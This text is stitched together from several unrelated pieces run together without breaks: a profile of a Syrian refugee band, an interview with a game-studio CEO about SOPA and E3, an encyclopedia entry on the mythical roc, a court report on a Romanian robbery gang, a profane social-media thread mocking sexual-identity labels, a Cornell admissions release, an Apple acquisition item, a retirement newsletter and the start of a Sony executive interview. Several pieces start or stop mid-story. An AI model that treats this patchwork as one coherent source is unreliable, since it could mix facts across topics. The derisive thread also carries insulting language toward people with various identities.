One of the policemen was a drummer. Maghrebi recalls: “He opened his mobile and started listening to one of our songs on YouTube. Ironically the song is talking about freedom, jail and prisoners. You could see his eyes say, ‘what are you doing here?’ But people don’t know what’s happening on the ground in Syria. They don’t know that there is no other way for us to go.”
The political and social situation in Syria runs through Khebez Dawle’s music. The band’s name translates as “government bread” – a common Syrian phrase meaning dependency and to live well. But it has a different meaning today. “What happened in Syria made us all realise that the real ‘bread’ of the country, or the real basis of building a stable, free country, is people. For Khebez Dawle, people are the subject matter of the music,” says Maghrebi.
“Going through such a trip makes your belief in humans grow stronger. The people who we got to know on this journey are just beautiful, kind hearted, true humans; I don’t remember their passports. Thats a great thing you learn.”
Lyrics written by Lebanese activists on the walls of Beirut during the recent protests. The pictures sent to Khebez Dawle gave them ‘a lot of hope and strength’ on their journey. Photograph: Khebez Dawle
Khebez Dawle describe themselves as oriental indie rock – a blend of traditional Syrian folk music with western rock, drawing influences form Pink Floyd and Radiohead, with Arabic vocals. The four-piece group’s self-titled first album was released in August, and is available to buy online.
Funded by the Arab Fund for Art And Culture and the Arab Culture Resource, it follows the story of a young Syrian man who witnessed the events of the Arab Spring and Syrian uprising. The album explores this without political bias. “At that point in time it was all mess and chaos, and there was no point trying to direct people to this side or that side,” says Maghrebi. The following album, currently being written, tells a different story. It explores refugees’ personal battles: a reflection of young Syrian people experiencing life away from home, and how you deal with a strange country, a new place, and new people.
The sound and the fury: how Syria's rappers, rockers and writers fought back Read more
Through their music, Khebez Dawle wants to share the stories of migrants desperately seeking refuge, with the hope of cutting down barriers between Europe and the Syrian people. The band members, now in Berlin applying for asylum, used crowdfunding to buy equipment, and have plans for a European tour next year. They hope to do a couple of dates in London in the summer.
“With the band we have a responsibility to speak, to tell Europeans about the other Syrians who are not heard,” Maghrebi says. “For me it’s much more important than just playing music in clubs and dancing – all these cliches – it’s much more than that. It’s about being responsible for spreading the word. We got to play music in front of different cultures, different nationalities and we made sure that the language barrier is not a barrier anymore.”
But that's just the tip of the iceberg for PC game developer Red 5 Studios. Not only has the studio blocked access to the beta of free-to-play open-world shooter Firefall for the day, but it also revealed last week that it is pulling out of the annual Electronic Entertainment Expo (E3) showcase, which is run by the SOPA-supporting Entertainment Software Association (ESA).
Red 5 will also use the $50,000 it would have spent on a promotional E3 booth to start The League For Gamers, a grassroots group it calls "a gathering place for gamers, developers and industry supporters who want to stand against legislation that's detrimental to the games industry."
While individual ESA members like Nintendo of America, Epic Games, Electronic Arts and Microsoft have stated their individual opposition to SOPA, no studio has made such a bold move to highlight its differences with the umbrella organization.
In this interview, Red 5 CEO (and Boston University law school graduate) Mark Kern talks about the threats he sees in these bills and why he feels such drastic actions were necessary to protest them.
Ars: When you began talking about this issue at CES last week, what were the reactions of colleagues around you?
Mark Kern: Mostly silence. Even though they may have various viewpoints, they feel their hands are tied. I mean, the money's all behind this legislation, and it's been really frustrating trying to get any sort of action on the part of other people in the industry. I've had some success, though, so I hope to see something pretty soon here from at least one other company.
How important are shows like PAX and E3 to an independent studio such as Red 5?
We do a lot of shows. All of our marketing is primarily through trade shows. You won't see us doing banner ads or anything else. What matters for us, especially as a new studio with a new IP, is people getting hands-on time with the game. Press getting hands-on time, industry getting hands-on time, and most importantly gamers getting hands-on time.
When you're not a sequel, and you're not something that people are familiar with, that's really the only way to convey what's special about your game. Not doing a show, especially with some of the plans we had for E3, is quite a big decision for us.
Had Red 5 Studios expended resources on E3 2012 planning before making the decision to cancel their attendance?
Yeah. Actually, we had just done our planning, and we just signed the contracts with the ESA literally the day we decided to pull out, because once I realized that the ESA was not going to change their position, we had to send a stronger statement. I literally within hours of having signed the contracts said, "You know what? We're not going to do this."
We're on the hook with ESA for the money that we owe them, and because of our stance against what the ESA is doing here, I doubt we'll ever get that money back.
Is canceling your E3 attendance a protest of ideology or economics? In other words, does the Stop Online Piracy Act threaten the success of Firefall or the operation of Red 5 studios in any way?
You know, I have strong, personal beliefs in this. I mean, if you follow my Twitter you'll have heard me talking about everything from the Occupy movement to the Stop Online Piracy Act for months now. To me, it's really disheartening that the industry and the ESA [are] definitely putting corporate needs well above that of gamers' First Amendment rights, and the First Amendment rights of the Internet in general.
Whether or not it affects us economically... I would say yes, it does, too, because we're a free-to-play game, and we're heavily into eSports. We hired Morgan Romine, the founder of the Frag Dolls, to head up our eSports efforts coming into this year. We feel that our ability to stream games on sites like JustinTV or other streaming sites around the world is threatened by the fact that if some user were to stream the wrong content on these sites, these advocates for game spectating would be shut down financially. SOPA's pulled back on DNS blocking—yay, that's a great first start, but the whole bill's flawed, and we need to do more—but they can still shut off funds to these things and basically say, "No, this isn't the type of business we support," just because there's user-generated content.
We love the idea of user-generated content. We want to see more games with user-generated content, and [SOPA] threatens that as well. Firefall doesn't have any, specifically, right now, but we do want to protect eSports and the ability for teams and players to stream game content... A lot of shoutcasters make their living by streaming content. All it would take is one game company that says "That's not fair use," and it doesn't just affect that streamer, it affects the entire site.
It sounds like the follow-up question by Shacknews, who asked whether Red 5 would ever support the Entertainment Software Association, was the spark behind your decision not to attend E3.
It really was. I sent a letter to the ESA and I quickly got a call back from Christian, the General Counsel. He and I actually worked together at Blizzard. I was team lead for World of Warcraft, I was at Blizzard for seven and a half years, that's where I worked with Christian at the ESA. I also have a law degree from Boston University's School of Law with a specialization in intellectual property law, and I was one of the founders of the Journal of Science and Technology Law at BU Law, so this is definitely something that's up my alley.
After this call with Chris, it was really apparent that the ESA was going in completely blind. I mean, I raised several points. I said, "Listen, after your triumph with getting games in front of the Supreme Court classified as protected speech, how could you then go back and say 'Actually, not all speech is protected. There's some forms here that we're going to trump that right with the rights of copyright holders, and make them judge, jury, and executioner of what's right and wrong on the Internet.'" And obviously he didn't see it that way. He didn't feel that they were taking a hypocritical stance.
I understand. They're looking for tools to protect IP from overseas [infringement]. But I said, "Listen, you're throwing away gamer support here. You represent gamers as well. You started a Video Game Voters Network and you got everyone to back you in your fight for First Amendment speech for video games, and you're throwing all that away now. Who's going to represent them? Your members are all corporate."
[The ESA believes] this won't be abused. They really believe that they and other corporate organizations can be good caretakers for First Amendment rights. I don't know about you, but I don't think corporations should be arbiters of that at all.
So it was really frustrating. I said, "Not even all your members agree. You're not representing the indie developers, here. You're representing the large publishers, the larger interests here, and that's not what you should be doing." So, that was the spark. And I was extremely frustrated that there wasn't an organization that could represent gamers out there.
The Entertainment Software Association supports SOPA because it believes it has to take a stand against software piracy. Isn't that a reasonable stance to take for an advocacy organization if its members are losing money to piracy?
There need to be measures to protect against piracy. There need to be good tools. But the cost is insane for SOPA. It's a way that corporations can obtain injunctions, trivially, because copyright infringement is very much, "Oh, look, there's a movie clip on there," but instead of just being able to take down that movie clip, like under the Digital Millennium Copyright Act, they can take down the whole site. No longer through DNS blacklisting, but they can say, "You're not on search engines, you can't do any advertising, and you can't take any payments. PayPal has to refuse you, Visa has to refuse you, MasterCard has to refuse you."
That can effectively shut down and have a chilling effect on free speech and innovation anywhere. That cost is too high. That's not something we as an industry should be doing. We shouldn't be saying "This is the way the Internet should be, and this is what gamers can see and not see, do and not do, throughout the world."
Speaking to your background in IP law, is this a matter of existing regulations not being enforced? Do we need something more than the Digital Millennium Copyright Act?
I'm with Gabe [Newell, founder of Valve] on this. I've read his quotes in interviews about Steam where he says "Listen, DRM isn't the answer."
[SOPA] is effectively an overreaching form of DRM over the entire world. It's the United States DRMing the world and the internet. Gabe says "Listen, piracy isn't the issue. Service and convenience and features and doing right by your customers is how you really defeat piracy," and I agree with him.
Red 5 games are cloud-hosted and we're free to play, so we don't have an issue with clients being pirated. We want to give the clients away, and we want more people to experience this entertainment, and the way that we stay ahead of the pirates on the server side is to continue to offer the best service and features and constant updates to our game, which we think benefits the gamer.
I mean, have you ever rented a movie? What do you see? What's your experience when you pop in a DVD or a Blu-Ray? You get a ton of ads up front. It takes you forever to get to the movie. You get advertising in the menus, now. The interface is horrible. I mean, compare that to someone who just downloads a movie from the internet where they have no ads, no BS in front of it, and they just watch the movie! That's what the movie industry should be doing. They should be offering better features and better service to their customers, to really make the case against why you don't want to pirate them.
You've said that you will never support the Entertainment Software Association in the future. "Never" is a strong word. Do you really think this as an unforgivable breech?
I will never join them if they are only going to represent the larger companies in the organization, and not represent the organization [as being] for gamers as a whole. So, I'm actually doing something about it. I'm starting the League for Gamers, which is basically a nonprofit, independent organization that will represent gamers' rights, defend First Amendment rights for games in Washington, defend Internet freedoms in Washington, and act against these overreaching copyright regimes imposed by the music industry and give gamers a voice in Washington.
We're taking some of the money that we were going to put into E3 and we're donating it to League for Gamers. We're putting $50,000 to seed that organization right away.
Do you think software developers who are members of the Entertainment Software Association, and also publicly against SOPA, should withdraw their membership from the ESA if its stance on SOPA is not reversed?
Absolutely. Who is the ESA representing? If these major companies are really withdrawing their support from SOPA, why is the ESA still so adamantly for it? Who the heck are they representing? And if they're not doing a good job representing our industry, the industry should definitely withdraw from the ESA.
Are you worried about any backlash from the development community for so loudly questioning industry support for the Entertainment Software Association and their backing of SOPA?
I think developers are completely against SOPA. I think publishers feel caught in the middle, and I think regardless of how they personally feel, they're worried about piracy. They're not worried enough, apparently, to help protect gamer's rights and First Amendment rights, which is the broader line for me as an American.
Do you plan to reach out to other developers and studios to invite them to join the League of Gamers or make donations or get involved as they see fit?
I think it's early to tell. I really want this to come from gamers. I really want gamers to Like the organization on Facebook, leave a comment on the wall, and what we're going to do first is petition the ESA. We're going to organize a petition to send a strong message to the ESA that the ESA does not represent gamers, and I will reach out to other game developers as well to get them to sign on board. I'll try to get them to sign on board to send that message as developers, to the ESA.
The best way to get back at the ESA is to not support E3, you know? To encourage the game press not to attend, not to cover it. Encourage game developers not to attend. If you look at the success in being able to turn organizations around I'd look at GoDaddy, right? Once it hit their pocketbook, that's a pretty clear message. If we as gamers can hit the ESA in their pocketbook, maybe they will wake up and understand that this is not the right approach to protecting IP. We need to find other ways.
Do you think it's realistic to ask developers who currently have games in development and require the buzz from E3, or to ask the game press who draws a significant amount of its traffic and therefore its living from E3, not to attend over the ESA's stance on SOPA?
If not them, then who? Democracy and freedom is always won through sweat, blood, and constant sacrifice. It is never for free. And if it's not going to be them, who is it going to be?
And yes, it will take sacrifice, but if we really want to have a voice, if you're as upset as I am with what's happening with corporate manipulation of interests in Washington, especially as in regards to our favorite pastime of gaming, this is what needs to be done. There isn't any other way to do it.
The roc appears in Arabic geographies and natural history, popularized in Arabian fairy tales and sailors' folklore. Ibn Battuta tells of a mountain hovering in the air over the China Seas, which was the roc.[2] The popular story collection One Thousand and One Nights includes tales of Abd al-Rahman and Sinbad the Sailor, both of which include the roc.
Etymology [ edit ]
The English form "roc" originates from Arabic ruḵḵ (Arabic: الرُخّ‎, translit. ar-ruḫḫ) and that from Persian ruḵ.[1] In both languages, Arabic and Persian, the word is written in Arabic alphabet as رخ. Common romanizations are ruḵḵ for the Arabic form[1] and ruḵ,[1] rokh or rukh for the Persian form.
Eastern origins [ edit ]
According to Rudolph Wittkower, the idea of the roc had its origins in the story of the fight between the Indian solar bird Garuda[3] and the chthonic serpent Nāga. The mytheme of Garuda carrying off an elephant that was battling a crocodile appears in two Sanskrit epics, the Mahabharata (I.1353) and the Ramayana (III.39).
Le Magasin pitoresque, Paris, 1865 The merchants break the roc's egg,, Paris, 1865
Western expansion [ edit ]
1690 painting by Franz Rösel von Rosenhof showing two roc-like birds carrying a deer and an elephant
Rabbi Benjamin of Tudela reported a story reminiscent of the roc in which shipwrecked sailors escaped from a desert island by wrapping themselves in ox-hides and letting griffins carry them off as if they were cattle.[4]
In the 13th century, Marco Polo (as quoted in Attenborough (1961: 32)) stated
It was for all the world like an eagle, but one indeed of enormous size; so big in fact that its quills were twelve paces long and thick in proportion. And it is so strong that it will seize an elephant in its talons and carry him high into the air and drop him so that he is smashed to pieces; having so killed him, the bird swoops down on him and eats him at leisure.
Polo claimed that the roc flew to Madagascar "from the southern regions", and that the Great Khan sent messengers to the island who returned with a feather (likely a Raphia frond).[5] He explicitly distinguishes the bird from a griffin.
In The Arabian Nights the roc appears on a tropical island during Sinbad's second voyage. Because of Polo's account, others identified the island as Madagascar, which became the location for stories about other giant birds.[5] Doubtless, it was Polo's description that inspired Antonio Pigafetta, one of Ferdinand Magellan's companions, who wrote or had ghost-written an embroidered account of the circumglobal voyage: in Pigafetta's account[6] the home grounds of the roc were the seas of China. Such descriptions captured the imaginations of later illustrators, such as Johannes Stradanus ca 1590[7] or Theodor de Bry in 1594 who showed an elephant being carried off in the roc's talons,[8] or showed the roc destroying entire ships in revenge for destruction of its giant egg, as recounted in the fifth voyage of Sinbad the Sailor. Ulisse Aldrovandi's Ornithologia (1599) included a woodcut of a roc with a somewhat pig-like elephant in its talons,[9] but in the rational world of the 17th century, the roc was regarded more critically.
Rationalized accounts [ edit ]
The scientific culture of the 19th century introduced some "scientific" rationalizations for the myth's origins, by suggesting that the origin of the myth of the roc may lie in embellishments of the often-witnessed power of the eagle that could carry away a newborn lamb. In 1863, Bianconi suggested the roc was a raptor (Hawkins and Goodman, 2003: 1031). Recently a giant subfossil eagle, the Malagasy crowned eagle, identified from Madagascar was actually implicated as a top bird predator of the island, whose megafauna once included giant lemurs and pygmy hippopotamuses.[10]
Another possible origin of the myth is accounts of eggs of another extinct Malagasy bird, the enormous Aepyornis elephant bird, hunted to extinction by the 16th century, that was three meters tall and flightless.[11] There were reported elephant bird sightings at least in folklore memory as Étienne de Flacourt wrote in 1658.[5] Its egg, live or subfossilised, was known as early as 1420, when sailors to the Cape of Good Hope found eggs of the roc, according to a caption in the 1456 Fra Mauro map of the world, which says that the roc "carries away an elephant or any other great animal".[12][13] Between 1830 and 1840 European travelers in Madagascar saw giant eggs and egg shells. English observers were more willing to believe their accounts because they knew of the moa in New Zealand. In 1851 the French Academy of Sciences received three eggs. They and later fossils seemingly confirmed to 19th-century Europeans that Aepyornis was the roc, but the real bird does not resemble an eagle as the roc is said to.[5]
Another rationalizing theory is that the existence of rocs was postulated from the sight of the African ostrich, which, because of its flightlessness and unusual appearance, was mistaken for the chick of a presumably much larger species. Ostriches, however, were already well known in Biblical times.[14][verification needed] On the other hand, a medieval Northern European or Indian traveller, if confronted with tales about ostriches, might very well not have recognized them for what they were (compare History of elephants in Europe).[citation needed]
In addition to Polo's account of the rukh in 1298, Chou Ch'ű-fei (周去非, Zhōu Qùfēi), in his 1178 book Lingwai Daida, told of a large island off Africa with birds large enough to use their quills as water reservoirs[15]. Fronds of the raffia palm may have been brought to Kublai Khan under the guise of roc's feathers.[16][17]
Some recent scholars[who?] have compared the legendary roc with the Haast's eagle, of New Zealand. 1.4 m (4 ft 7 in) long with a 3 m (9.8 ft) wingspan, it became extinct around the 15th century, but probably inspired the Māori legend of Te Hokioi or Te Hakawai.[18] This was said to be a colorful huge bird which (in some versions of the legend) had occasionally descended to Earth to carry off humans to eat, but generally lived in the clouds unseen. Only its cry, after which it was named, could be heard. Indeed, the hokioi seems to be a composite mythical beast inspired by actual animals, just like the roc appears to have been. In the 1980s, it was found[19] that male Coenocorypha snipes, tiny nocturnal waders, produce an unexpectedly loud roaring sound with their tails during mating flights. The supposed coloration of the hokioi is not matched by any known bird, and generally would be extremely unusual for a bird of prey. Thus, as it seems likely that the hokioi was the eerie "drumming" of the snipes, explained with the ancestor's tales about the giant eagles which they still knew from living memory.
Religious tradition [ edit ]
Michael Drayton [ edit ]
Through the 16th century the existence of the roc could be accepted by Europeans. In 1604 Michael Drayton envisaged the rocs being taken aboard the Ark:
All feathered things yet ever knowne to men,
From the huge Rucke, unto the little Wren;
From Forrest, Fields, from Rivers and from Pons,
All that have webs, or cloven-footed ones;
To the Grand Arke, together friendly came,
Whose severall species were too long to name.
Ethiopian [ edit ]
The rukh is also identified in the Ethiopian holy book Kebra Negast as the agent responsible for delivering the blessed piece of wood to King Solomon which enabled the great king to complete the Temple. This piece of wood also is said to have transformed the Queen of Sheba's foot from that of a goat to that of a human. The piece of wood that the rukh brought was therefore given an honored place in the Temple and decorated with silver rings. According to tradition, these silver rings were given to Judas Iscariot as payment for betraying Jesus; the piece of wood became Jesus's cross.
In popular culture [ edit ]
The roc appears in several different film adaptations of the adventures of the hero Sinbad, most notably in the film The 7th Voyage of Sinbad (where it is depicted as a two-headed condor), and the 2003 animated film Sinbad: Legend of the Seven Seas, where it instead resembles snowy owl but with claws on its wings like a hoatzin.
Comparable mythic birds [ edit ]
Other large mythic birds include:
The Middle-Eastern anqa ("عنقاء") (see phoenix)
The Persian Simurgh.
The ancient story of the Persian amrzs , (or slnamurv in the Minoi-khiradh), an immortal bird which shakes the ripe fruit from the mythical tree that bears the seed of all useful things.
, (or in the Minoi-khiradh), an immortal bird which shakes the ripe fruit from the mythical tree that bears the seed of all useful things. The garuda on which Vishnu rides is the king of birds [21] . In one story, the Simurgh takes the place of the garuda. [22]
. In one story, the Simurgh takes the place of the garuda. The Hungarian Turul,
The Ziz or Bar Juchne of Jewish tradition.
The Fijian kanivatu
The Finnish kokko
The Chinese peng
The Thunderbird of Native American tradition.
See also [ edit ]
References [ edit ]
For a collection of legends about the roc, see Edward Lane's Arabian Nights, chap; xx. notes 22, 62
Bochart, Samuel, Hierozoicon , vi.14
, vi.14 Damfri, I. 414, ii. 177 seq.
Flacourt, E. de Histoire de la grande île de Madagascar . Paris. New edition 2007, with Allibert C. notes and presentation, Paris, Karthala ed. 712 pages
. Paris. New edition 2007, with Allibert C. notes and presentation, Paris, Karthala ed. 712 pages Goodman, Steven M. (1994). "Description of a new species of subfossil eagle from Madagascar: Stephanoaetus (Aves: Falconiformes) from the deposits of Amphasambazimba," Proceedings of the Biological Society of Washington , 107 : 421-428.
(1994). "Description of a new species of subfossil eagle from Madagascar: (Aves: Falconiformes) from the deposits of Amphasambazimba," , : 421-428. Galbreath, Ross & Miskelly, Colin M. (1988): The Hakawai. Notornis 35 (3): 215–216. PDF fulltext
(1988): The Hakawai. (3): 215–216. PDF fulltext Miskelly, Colin M. (1987): The identity of the hakawai. Notornis 34 (2): 95-116. PDF fulltext
(1987): The identity of the hakawai. (2): 95-116. PDF fulltext Hawkins, A.F.A. & Goodman, S.M. (2003) in Goodman, S.M. & Benstead, J.P. (eds.) : The Natural History of Madagascar : 1019–1044. University of Chicago Press.
(2003) : : 1019–1044. University of Chicago Press. Ibn Batuta, iv. 305ff
Kazwini, i. ~I9 seq.
Pearson, Mike Parker & Godden, K. (2002). In search of the Red Slave: Shipwreck and Captivity in Madagascar . Sutton Publishing, Stroud, Gloucestershire.
(2002). . Sutton Publishing, Stroud, Gloucestershire. Spiegel, Friedrich, Eranische Alterthumskunde , ii. 118.
, ii. 118. Yule, Heny [ verification needed ] as above.
as above. Allibert C., Le monde austronésien et la civilisation du bambou: une plume qui pèse lourd: l'oiseau Rokh des auteurs arabes, in Taloha 11, Antananarivo, Institut de Civilisations, Musée d'Art et d'Archéologie, 1992: 167-181
A judge has warned eastern European criminals that British courts will not be a "soft touch" as he jailed a Romanian gang for a £1m gold robbery campaign.
The 10 gang members came to the UK specifically to commit the crimes and had not done a day's legitimate work while here, the Old Bailey Judge Timothy Pontius said.
He gave them sentences totalling 82 years and 10 months despite the fact that they pleaded guilty and had no previous convictions. They were also told they would be deported after serving their sentences.
The judge said the gang had entered the UK as EU citizens with the intention of robbing jewellery shops of large amounts of high-quality gold. Only a fraction of their haul had been recovered from the six raids or attempted raids – leaving the robbers with £1m.
Pontius said: "None of the defendants appear to have done an honest day's work while they were here. All will be deported, and rightly so."
He said there were fears that an influx of people from Romania and Bulgaria when restrictions are lifted next year would lead to an increase in crime. He warned: "Anyone who comes to the UK, irrespective of whatever part of the world, wanting to commit serious crime must clearly understand such abuse of the hospitality of this country and its people must be seriously punished.
"It follows that the more grave the crime, the more severe the retribution will be. No one should think for a moment that courts in the UK will be a soft touch. Sentences such as these must be a powerful deterrent not only to homegrown but imported criminals."
The gang carried out seven raids in six months, emptying display cabinets and fleeing in minutes before police could respond to alarms. They were caught after officers kept watch on a makeshift campsite they were using on waste ground near the A12 in Essex. After being arrested, Ovidiu Gabor, 25, told police: "I don't care, I go to prison to go on holiday."
The gang pleaded guilty to conspiracy to rob.
Jonathan Polnay, prosecuting, said: "This was a sophisticated, well-planned conspiracy deliberately targeting jewellers. All the defendants are Romanian. These are all relatively young men who came to this country to rob."
They targeted Asian and Turkish jewellers where there was a large quantity of high-carat gold that could be melted down and sold. The usual plan involved one of the gang, dressed in pinstripes and a trilby, being buzzed in and holding the door for an accomplice to smash his way in with a sledgehammer. The rest of the gang would then run in and smash display cabinets with bats and hammers before fleeing with jewellery. They would make off over railway lines, discarding their weapons and outer clothing.
The gang netted more than £1.1m last year but only £135,580 has been recovered. In March last year, £500,000 of goods was taken from a shop in Wembley, north London, which was "trashed". Nothing was recovered.
A month later, part of a £248,648 haul was found in a hole the gang had dug to hide evidence near a shop in Ilford, east London, said Polnay. In August, £341,435 of goods was taken from a shop in East Ham, east London.
cycomonkey: dykeprivilege: cycomonkey: spookybaya: feministforest: womantic: this is just really offensive to everyone i’m genuinely curious as to what the fuck a “polyemotional” is or a “byke” or a “mostly gay” or “acdc” holy shit, this website is fucking stupid. yestergay god what the actual fuck is this though? what are all of these dipshit words? oligosexual. heteroflexible. wasbian?
Is gender-blind like color-blind?
is omnisexual a really powerful, all seeing, all knowing lover who can see your thoughts which would be really fucking creepy? “gay for pay” is now a sexuality? queer-for-beer? Wait down low just means you’re a gay/bi man of colour in the closet. “In the closet” isn’t a sexual identity either…
I was just … over “pentasexual” so I looked it up and:
A person attracted to inanimate objects, men, women, animals, and hermaphrodites
So, that’s really fucked up and cissexist.
A total of 5,889 new applicants have been admitted, and Cornell has offered another 5,713 students a place on the wait list. The selection status of high school seniors who applied to enter Cornell was released March 30 at 5 p.m.
For the third consecutive year, Cornell’s prospective freshman class includes a record number of students who self-identify as an underrepresented minority – 1,777, or 30.2 percent of the class.
Students of color, which include underrepresented minority and Asian-American students, are 52.5 percent of the newly admitted class; they comprised 49 percent of admitted freshmen last year.
International students are almost 9 percent of the admitted class. Based on citizenship, they hail from 96 nations outside the U.S., with Canada, China, India, the Republic of Korea, Singapore and the United Kingdom among the countries most represented.
Students admitted to the Class of 2021 include more than 700 first-generation college students and more than 200 recruited athletes.
Cornell selected 12.5 percent of all applicants for admission, including early decision and regular decision candidates. Admitted students have until May 1 to accept Cornell’s offer of admission.
“This year’s admitted class continues to raise the bar on what it means to be outstanding,” said Shawn Felton, director of undergraduate admissions. “I am pleased that we are, once again, well on our way toward our goals to broaden and diversify the incoming class.”
The number and diversity of applicants reflect the desirability of a Cornell education, said Jason Locke, associate vice provost for enrollment.
“We have admitted an extraordinarily gifted and accomplished class of scholars,” Locke said. “We look forward to showcasing Cornell’s exceptional academic offerings and vibrant student experience during our many admitted student events in April.”
Admitted students reside in all 50 states, the District of Columbia, Guam, Puerto Rico and the U.S. Virgin Islands; and in 69 countries outside the United States. Outside of New York, the states most represented among admitted freshmen include California, Florida, New Jersey, Massachusetts, Pennsylvania and Texas.
It is anticipated that approximately 1,800 students will visit campus between April 13-24 for Cornell Days, the annual visitation program for admitted students. More than 400 underrepresented students are expected during Diversity Hosting Month activities, April 11-27.
An additional 60 freshmen anticipated to enroll in January 2018 have been admitted in the First-Year Spring Admission (FYSA) program, established in 2015 to expand access to a Cornell education. The university’s second FYSA class enrolled this semester in the College of Agriculture and Life Sciences and the College of Arts and Sciences.
More than 1,000 early decision students have joined the CU on the Hill peer-to-peer social network, and newly admitted students are invited to join March 31. During CU on the Hill Days, April 8 and 22, Cornell alumni and current student ambassadors will join in welcoming the Class of 2021 in virtual open houses.
Fingertips crossed!
At the end of July, Apple paid $356 million to buy the fingerprint authentication products maker AuthenTec Inc. In a Securities and Exchange Commission filing Wednesday, it seems that Apple was in a hurry to get the deal done as soon as possible.
Check out this chunk of text from the "Background of the Merger" section of the filing:
"Representatives of Apple also noted Apple’s desire to proceed quickly due to its product plans and ongoing engineering efforts. As a result of its focus on timing, Apple’s representatives also informed the Company that Apple would not participate in an auction process and would rescind its proposal if the board decided to solicit alternative acquisition proposals for the Company."
— Senate votes to kill rule that would help cities launch retirement plans
— Congress could kill state retirement plans
— Senate overturns rules to help cities offer retirement plans to workers
To catch you up, here’s the issue: Millions of Americans don’t have a retirement plan through their employer. Many don’t save for retirement because they don’t have access to a workplace plan.
Enter state-based retirement plans.
As a fact sheet for AARP points out: “About 55 million private-sector employees in the U.S. have no access to retirement savings plans at work. In response, many states are considering sponsoring plans that would offer simple ways for many workers to improve their retirement security.”
“State-facilitated retirement savings plans are likely to cause the greatest increase in several decades in the number of workers saving for retirement,” the AARP fact sheets says. “By combining state facilitation with private providers, these plans allow small businesses to offer simple, low-cost retirement savings plans to their employees, enabling more workers to provide for themselves rather than rely on taxpayer-paid services.”
But opponents of the plans argue that the savings vehicles conflict with federal law.
The plans also face “resistance from some Republicans and business groups who argue that states and cities shouldn’t be creating retirement plans,” reported The Washington Post’s Jonnelle Marte.
Yet it’s better than nothing, consumer advocates say. AARP, which supports the state plans, says people are 15 times more likely to save if they have access to a plan that deducts money straight from their paycheck.
This post by Bankrate.com’s Jennie L. Phipps is a good primer on the issue: 5 reasons state retirement plans are a good idea, and 2 reasons they’re not
William A. Birdthistle, a professor at Chicago-Kent College of Law and author of “Empire of the Fund: The Way We Save Now,” tweeted about the need to fight for the plans. Birdthistle’s book was a Color of Money Book Club pick last year.
.@dcjretiresecure 1/3 – Benefits of state plans:
-Provide 401k benefits to millions
-Autoenroll to boost participation
-The TSP model is a huge success — William Birdthistle (@WABirdthistle) March 31, 2017
.@dcjretiresecure 2/3 – Why GOP wants to kill them:
-Fund industry is vehemently opposed b/c:
-They'd drive down 401k & fund fees
-They'd reward best advisors — William Birdthistle (@WABirdthistle) March 31, 2017
.@dcjretiresecure 3/3 – Why (I think) a fed plan is even better:
-TSP is already proven success
-Econs of scale = larger
-Simplicity & nationwide convenience — William Birdthistle (@WABirdthistle) March 31, 2017
“My own take is that state retirement plans would be a great boon to the millions of Americans who have no 401(k),” Birdthistle wrote to me. “No plan, however, seems like a very bad outcome, and an unprincipled position to take — particularly from the party that celebrates states’ rights so enthusiastically.”
I agree with Birdthistle. The more people who have access to a way to save, the more money they are likely to have to live on in retirement. And that benefits all of us.
Chances are your nest egg is in mutual funds. But what do you know about them?
Retirement rants & raves
Keep your comments coming.
This feature belongs to you. You get to rave or rant about anything related to retirement. Send your comments to colorofmoney@washpost.com. Please include your name, city and state. In the subject line put “Retirement Rants & Raves.”
Alana, who is 40 and lives with her husband and five-year-old son in Kansas City, Mo., wrote about her retirement fears since the election of Donald Trump.
“As far as retirement, I always assumed Social Security would be broke by the time I retire, so I had been diligently saving into my 403(b). My job at a public community college also provides a pension. However, thanks to ‘President’ Donald Trump, I have NO faith that there will be life in the USA once he gets us into multiple (probably nuclear) wars. I DROPPED my contribution to my 403(b) after he was elected, because it feels dumb to save for a prosperous future that will likely never arrive.”
Alana, I hope your comment about stopping your retirement contributions is hyperbole because you still need to save for retirement. In fact, since Trump was elected the stock market has done pretty well.
This week Alana, I want you to start contributing again to your retirement plan.
How Trump’s post-election stock surge compares with other presidents — and other surges
Markets right now: Stocks end first quarter with solid gains
On Friday, stocks were down, but for the first quarter the market did well.
Stocks close down but post strong quarterly gains; Nasdaq records best quarter since 2013
Keep in mind, long term, we’ll see a number of presidents between now and when you are likely to retire.
Maybe this post will ease your mind: Warren Buffett’s advice for investing during Trump’s presidency: If you’re worried about your investments over the next four (or eight) years, here’s what the Oracle of Omaha has to say about what to do next.
Live chat this week
Join me on Thursday, April 6th at noon (ET) for a live discussion about retirement.
If you can’t join me live, you can post your questions early. Here’s the chat link.
Newsletter comments policy
Please note it is my personal policy to identify readers who respond to questions I ask in my newsletters. I find it encourages thoughtful and civil conversation. I want my newsletters to be a safe place to express your opinion. On sensitive matters or upon request, I’m happy to include a first name and last initial. But I prefer not to post anonymous comments (I do make exceptions when I’m asking questions that might reveal sensitive information or cause conflict.)
Jack Tretton, the president and CEO of Sony Computer Entertainment of America and in many ways the face of that success, was stepping down.
After weathering years of second place to Microsoft’s Xbox 360, Tretton was going to miss out on what looked to be the rise of the PlayStation 4. And in his place?
Shawn Layden, former head of Sony Network Entertainment International, rarely seen or heard from in public venues and even, he said recently, referred to internally as the “international man of mystery.”
Layden’s tenure as the new head of Sony Interactive Entertainment America aligns neatly with the PlayStation 4’s successes and an overhaul of how the company presents itself both at E3 and its relatively new PlayStation Experience.
In a recent visit to New York, Layden met with press to discuss the facts and figures Sony hopes will never bog down a public conference keynote again.
While those conversations are embargoed until early next month, I did have a chance to speak with Layden about, well, Layden. How he went from Notre Dame grad and Tekken enthusiast to become the head of Sony Interactive Entertainment America. And how most recently he took on a second title (and business card) as chairman of SIE Worldwide Studios.
That offer to serve as chairman caps what he calls his “10-year walk through the wilderness of sales and marketing” to return once more to his spiritual home of product development.
In this abbreviated interview I attempted to seek a bit more sense of exactly who Shawn Layden is and how he got where he is today.
The pinball generation
At 56, Shawn Layden is just inside the periphery of the generation of people who grew up with readily available video games in arcades or their homes. He is, he told me, of the pinball generation, but he still remembers fondly his first video game experience.
I remember the first time in the arcade, which of course was attached to the bowling alley as they always were, they had Computer Space.
Do you remember that game? Did you ever see the movie Soylent Green? That's what they had in one of those high rise apartments; was that fiberglass, kind of psychedelic fiberglass housing.
They had that Computer Space console that was supposed to show: “This is the future.” They had one at the bowling alley when I was a kid. I came in and I saw that and I thought, “Oh, my god. This is remarkable.”
I was smitten by that.
At the same time, growing up, we had an Atari that we bought so my dad could do financial household accounting. So dad could do the bookkeeping, which he never did. But it came with Space Wars and Centipede.
Ghostwriting for one of Japan’s greats
